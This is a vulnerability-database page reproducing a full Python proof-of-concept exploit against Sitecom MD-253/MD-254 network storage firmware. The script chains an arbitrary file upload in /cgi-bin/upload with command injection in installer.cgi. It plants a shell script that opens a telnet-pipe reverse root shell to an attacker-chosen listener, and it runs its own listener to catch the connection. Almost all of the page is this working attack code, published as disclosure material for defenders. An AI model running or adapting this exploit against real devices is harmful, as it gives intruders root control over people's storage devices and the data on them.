Lucene search
K

Sitecom MD-25x Multiple Vulnerabilities Reverse Root Shell Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 24 Views

Sitecom MD-253 and MD-254 Network Storage Reverse Shell Exploit. Multiple vulnerabilities allow arbitrary file uploads and command injections, resulting in obtaining a root shell

Code

                                                #!/usr/bin/python
#
# Exploit Title: Sitecom MD-253 and MD-254 Network Storage Reverse Shell Exploit
# Date: 09/11/12
# Exploit Author: Mattijs van Ommeren (mattijs _ at _ alcyon _ dot _nl)
# Vendor Homepage: http://www.sitecom.com
# Software Link: http://www.sitecom.com/download/5012/SitecomNas.2.4.17.bin
# Version: 2.4.17 and below
# Tested on: Windows 7 x64 and Backtrack 5 R1
# CVE : N/A
#
# This PoC exploit code demonstrates how several bugs in Sitecom MD-253 and MD-254 Network Storage
# devices can be combined to obtain a root shell.
#
# Firmware versions up to and including 2.4.17 are affected by the following vulnerabilities:
#
# 1. The /cgi-bin/upload CGI used by the firmware update function allows arbitrary file uploads that are:
#     - granted execute permissions 
#     - not removed after uploading if they don't contain valid firmware
#     - stored in a predictable location
# 2. Installer.cgi contains a command injection vulnerability that allows one to run arbitrary commands as
#    root (only a limited character set can be used due to URL-encoding by CGI-handler)
#
# Known Limitations:
#	- Crude heuristics to determine whether a pseudo prompt needs to be echoed to stderr
#
# Vulnerability Details:
#	- http://www.alcyon.nl/advisories/aa-007
#	- http://www.alcyon.nl/advisories/aa-008
#
# Latest version of this exploit:
#   - http://www.alcyon.nl/blog/sitecom-poc-exploit
#

import sys
import os
import socket
import thread
import datetime
from optparse import OptionParser

upload_url = '/cgi-bin/upload'
cmd_inj_url = '/cgi-bin/installer.cgi?SetExecTable&%s'
sh_name = 'revsh'

sh_script = """
#!/bin/sh
mknod /tmp/backpipe p
telnet %s %s 0</tmp/backpipe | /bin/sh -C 1>/tmp/backpipe 2>/tmp/backpipe
# clean up our mess
rm -f /tmp/backpipe
rm -f /tmp/%s
""".rstrip('\r')

headers = """Host: %s\r
User-Agent: Mozilla/5.0 (PwNAS 1.0; rv:1.0)\r
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r
Accept-Language: en-us,en;q=0.5\r
Proxy-Connection: close\r
Referer: http://%s/firmware.htm\r
Cookie: language=en;\r\n"""

class Exploit:

	def stdin_thread(self, sock):
		try:
			fd = sys.stdin.fileno()
			while True:
				data = os.read(fd, 1024)
				if not data:
					break
				while True:
					nleft = len(data)
					nleft -= sock.send(data)
					if nleft == 0:
						break
		except:
			pass
		sock.close()
		self.running = False

	def stdout_thread(self, sock):
		last = datetime.datetime.now()	
		try:
			fd = sys.stdout.fileno()
			while True:
				if (datetime.datetime.now()-last<datetime.timedelta(milliseconds=500)):
					sys.stderr.write('# '); # Insert fake prompt
				last = datetime.datetime.now()
				data = sock.recv(1024)
				if not data:
					break
				while True:
					nleft = len(data)
					nleft -= os.write(fd, data)
					if nleft == 0:
						break
		except Exception as e:
			print e
			pass
		sock.close()
		self.running = False

	def parse_options(self):
		parser = OptionParser(usage="usage: %prog [options]")
		parser.add_option("-r", "--remote-host", action="store", type="string", dest="hostname", 
			help="Specify the host to connect to")
		parser.add_option("-l", "--listener-address", action="store", type="string", dest="listener_ip", 
			help="Target IP for reverse shell connection")
		parser.add_option("-p","--port",action="store",type="int",dest="port",
			help="TCP port for the reverse shell connection")

		parser.set_defaults(hostname=None, listener_ip=None, port=7777)
		(options, args) = parser.parse_args();

		if(options.hostname == None):
			sys.stdout.write("Remote hostname/IP required\n")
			parser.print_help()
			sys.exit()
		
		#self.forced_bind = (options.listener_ip != None)
		self.listener_ip = options.listener_ip		
		self.hostname = options.hostname
		self.port = options.port

	def start_local_listener(self):
		self.serv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		self.serv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,  1)

		try:
			self.serv.setsockopt(socket.SOL_SOCKET, socket.TCP_NODELAY, 1)
		except socket.error:
			sys.stderr.write("[-] Unable to set TCP_NODELAY")
		
		try:
			self.serv.bind((self.listener_ip, self.port))
		except:
			print "[-] Unable to bind to given IP-address. Attempting to bind on default address. You probably need a #NAT/PAT rule if you're behind a firewall." 		
			try:
				self.serv.bind(('', self.port))
			except:
				print "[-] Unable to bind to default address. Aborting."
				sys.exit(2)

		print "[*] Listener started on %s:%s" % (self.serv.getsockname()[0], self.port)
			
		self.serv.listen(5)
		self.clientsock, addr = self.serv.accept()
		print "[*] Incoming connection from %s:%s" % (self.clientsock.getsockname()[0], self.clientsock.getsockname()[1])
		self.clientsock.send('/bin/busybox uname -a\n');
		banner = self.clientsock.recv(2048)
		if (banner.find('Linux'))>=0:
			print "[*] W00t W00t, got shell!\n\n%s\n" % banner		
		thread.start_new_thread(self.stdin_thread, (self.clientsock,))
		thread.start_new_thread(self.stdout_thread, (self.clientsock,))
		
	def connect_socket(self):
		print "[*] Connecting..."
		try:
			self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
			self.socket.connect( (self.hostname, 80) )
			if not self.listener_ip:
				self.listener_ip = self.socket.getsockname()[0]
			print "[*] Connected to %s (%s) " % (self.hostname, self.socket.getpeername()[0])
		except Exception as inst:
			print inst
			print "[-] Unable to connect"
			sys.exit(2)
			
	def upload_payload(self):
		print "[*] Uploading payload\n"
		try:
			self.socket.send('POST %s HTTP/1.1\n' % upload_url)
			self.send_headers()
			ct = 'Content-Type: multipart/form-data; boundary=---------------------------41184676334\r\n'
			begin_file='-----------------------------41184676334\r\n\
Content-Disposition: form-data; name="file"; filename="%s"\r\n\
Content-Type: application/octet-stream\r\n\r'
			end_file='\r\n-----------------------------41184676334--\r\n'
			pl = ''.join([begin_file, sh_script, end_file]) % (sh_name, self.listener_ip, self.port, sh_name)
			cl = 'Content-Length: %s\r\n\r\n' % (len(pl))
			crlf = '\r\n'
			data = ''.join([ct,cl,pl,crlf])
			self.socket.send(data)
			if self.socket.recv(2048).find("200 OK")>=0 and self.socket.recv(2048).find('/tmp/'+sh_name)>=0:
				print "[*] Payload succesfully uploaded"
				self.socket.close()
			else:
				print "[-] Unexpected response. Trying to proceed anyway."				
		except:
			print "[-] Error uploading payload. Aborting."
			sys.exit(2)
			
	def send_headers(self):
		data = headers %(self.hostname, self.hostname)
		self.socket.send(data)
	
	def execute_payload(self):
		print "[*] Executing payload"
		cmd = '/tmp/' + sh_name
		req = 'GET %s HTTP/1.1\r\n' % (cmd_inj_url % cmd)
		cr = '\r\n'
		self.socket.send(''.join([req,cr])) 
		self.send_headers()
		if self.socket.recv(2048).find("200 OK")>=0:
			print "[*] Finished executing payload"
		self.socket.close()

	def run(self):
		self.line_buf = ''
		self.prompt = False
		self.parse_options()
		self.connect_socket()
		thread.start_new_thread(self.start_local_listener, ())
		self.upload_payload()
		self.connect_socket()
		self.execute_payload()
		print "[*] Waiting for reverse shell connection"
		self.running = True
		while self.running:
			pass
		
exploit = Exploit()
exploit.run()
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation